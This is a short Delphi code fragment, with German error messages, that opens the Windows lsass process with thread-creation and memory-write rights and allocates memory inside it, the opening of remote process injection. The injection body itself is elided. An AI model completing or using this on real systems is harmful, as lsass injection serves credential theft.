hProc := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_QUERY_INFORMATION or PROCESS_VM_OPERATION or PROCESS_VM_WRITE or PROCESS_VM_READ, false, dwProcID);
        if (hProc <> INVALID_HANDLE_VALUE) then
          begin
          pRemoteAlloc := VirtualAllocEx(hProc, nil, dwSize, MEM_COMMIT, PAGE_READWRITE);
          if (pRemoteAlloc <> nil) then
            begin
            ...
            ...
            ...
            end
          else
            LastErrorMsg('Fehler bei der Speicheranforderung in lsass');
          end
        else
          LastErrorMsg(pchar('Fehler beim öffnen des Processes lsass '+inttostr(dwProcID)));